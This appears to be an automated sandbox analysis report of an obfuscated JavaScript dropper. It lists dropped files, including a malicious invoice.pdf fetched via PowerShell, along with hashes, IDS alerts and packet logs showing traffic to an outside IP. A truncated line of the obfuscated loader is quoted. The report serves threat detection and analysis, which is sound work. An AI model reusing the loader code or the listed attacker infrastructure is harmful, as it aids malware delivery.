Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.381072538017358
Encrypted:	false
SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbm74cb2Ieacbh:8qnXopZ50r/9eh
MD5:	75B6EC5DB34DD9CFE0C400DD76ABAA3F
SHA1:	50250AC0ECE530888FCE8F7EE29E2DAD488C2B72
SHA-256:	1078A7E662EA02AE45037DD2EE02CC8EC135F1505B79F8C614AFBBA55DD6C039
SHA-512:	1BD99CCC4B0D5EA9E824EEAE09823FBC76EB047D8B6D1295DC83EE3AB652A2FB90794EF1B04F89E2FD259CE4799FA98D06D9C7EBB903005AD881B35B3FDD72AA
Malicious:	false
Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\30d54f13-dcb9-4df8-9bf8-d0547f635068.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:6qWL07okZwYIGNPHGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:ZWLxkZwZGBGZn3mlind9i4ufFXpAXkru
MD5:	51AC3B643206869A3BC2D7773E844594
SHA1:	2532A2A861B72BF4F0A9058F4987E0BDF5AD6DD6
SHA-256:	EECF83174ADA78E8888D44AAC7C9E195F1943B215E47507876C8FFD6A77A84D9
SHA-512:	2A64F8AB11281F6342B3A37135BF9BE7CF1D2E5A7EA751D92C952293B76DAA28526E237D06E22DF0D7FF6773AD5735A05EF6722558AB7583327CC031142EA724
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\3633c077-a744-400a-acbc-ff3754addd85.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/VHdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZIeYIGNPJF:tX3mlind9i4ufFXpAXkrfUs0qWLxXGZG
MD5:	859904F9B5855C57DC2A016C7CF5F05E
SHA1:	DE82DF064FA9CB606D757EC757F09F46506EF055
SHA-256:	A58DB05CD68DE9DFD4D97112FECAC31D550742FC277D01B11A392C1AF1C2FAF6
SHA-512:	14C2D968A5538A0941545C9DEFF6285759E2BFB6C71D13A8FECF5A6683805A50C7B16F2B5FCBC51384C286E571CE9779C93711A8BC3F99EA8A284BE255C1D811
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\74e98ce9-49a7-442d-a822-f85d03f10954.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\f0d8b066-df58-4219-a036-10202dc89bf9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18654), with CRLF line terminators
Entropy (8bit):	4.9060249613482645
TrID:
File name:	1861217272584230862.js
File size:	22'140 bytes
MD5:	60dbbd2f12a49297d11d6451e9731f84
SHA1:	d1c4120a58bb591e48c346f45a800dd8029d5dfb
SHA256:	6975fcde89ef2af0c23bebc1deec9c426d9454f85c5dd7c973e4f9cc14c80e6c
SHA512:	d6143662c5eb0fda5d5e175c2717c3012ad1c529924848e874b02dc5d6f642a1973529e9169e17938b8d0d3b8ede5a437fd54723c4b71abbc9276a5d60602c8e
SSDEEP:	384:ajeIZqv0XzHG9r8zRyzIT7X1IHFWIISsNmdMF6dYkwwp1PG3exSp2SKNNRaGty:3IrXm8leRa0y
TLSH:	3FA293A8A8D16BB687ED02FAD5DA4452368900EC693498AC7C4705047F99FB561F30FF
File Content Preview:	function izludzrzr(){buggsuf=[1031,3079,5127,4103,2055,3072];var cgvfiycnb=this[redkwgkt+eqzxcj+tucergb+hofxfltq+lnphnzwmb+fltdvsip+zfnggvp+qwbgqgh](this[rrpvqun+bjllc+fwamu+tucergb+qysdra+redkwgkt+qwbgqgh][jixgva+tucergb+lnphnzwmb+eqzxcj+qwbgqgh+lnphnzwm

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T20:03:01.334085+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.9	49707	193.143.1.205	80	TCP
2025-01-10T20:03:04.852979+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.9	49708	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:03:00.491486073 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:00.496385098 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:00.496478081 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:00.499361992 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:00.504194975 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.333966017 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.334007978 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.334043980 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.334078074 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.334084988 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.334108114 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.334141016 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.334184885 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.334188938 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.334214926 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.334237099 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.334271908 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.334296942 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.334306002 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.334413052 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.339241982 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.339272976 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.339329004 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.391628027 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.391661882 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.391730070 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.391750097 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.446448088 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.457828999 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.457861900 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.457916021 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.457922935 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.457954884 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.457997084 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.458148003 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.458162069 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.458174944 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.458209038 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.458600044 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.458611965 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.458626032 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.458664894 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.458678007 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.458990097 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.459007978 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.459022045 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.459034920 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.459048033 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.459054947 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.459086895 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.459773064 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.459784985 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.459798098 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.459809065 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.459822893 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.459832907 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.459871054 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.460602999 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.460630894 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.460683107 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.484052896 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.484091043 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.484147072 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.484180927 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.484195948 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.484215021 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.484267950 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.524585962 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.565844059 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.565860987 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.565874100 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.565917015 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.582417965 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.582468987 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.582530022 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.582534075 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.582566977 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.582585096 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.582606077 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.582653999 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.582724094 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.582762003 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.582797050 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.582808018 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.583122015 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.583174944 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.583213091 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.583228111 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.583249092 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.583267927 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.583290100 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.583328962 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.583374023 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.583703995 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.583722115 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.583735943 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.583748102 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.583762884 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.583770037 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.583777905 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.583790064 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.583811045 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.584424973 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.584445000 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.584458113 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.584470034 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.584475040 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.584484100 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.584496975 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.584502935 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.584513903 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.584522963 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.584531069 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.584558010 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.585401058 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.585417986 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.585429907 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.585442066 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.585452080 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.585454941 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.585468054 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.585469007 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.585483074 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.585496902 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.585509062 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.585540056 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.586366892 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.586379051 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.586390972 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.586402893 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.586415052 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.586416960 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.586427927 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.586441994 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.586451054 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.586456060 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.586483002 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.586505890 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.658246994 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.658265114 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.658324003 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.701731920 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.701750040 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.701762915 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.701776028 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.701796055 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.701836109 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.701838017 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.701850891 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.701864004 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.701885939 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.716600895 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.716615915 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.716669083 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.716717005 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.716732025 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.716743946 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.716756105 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.716764927 CET	49707	80	192.168.2.9	193.143.1.205
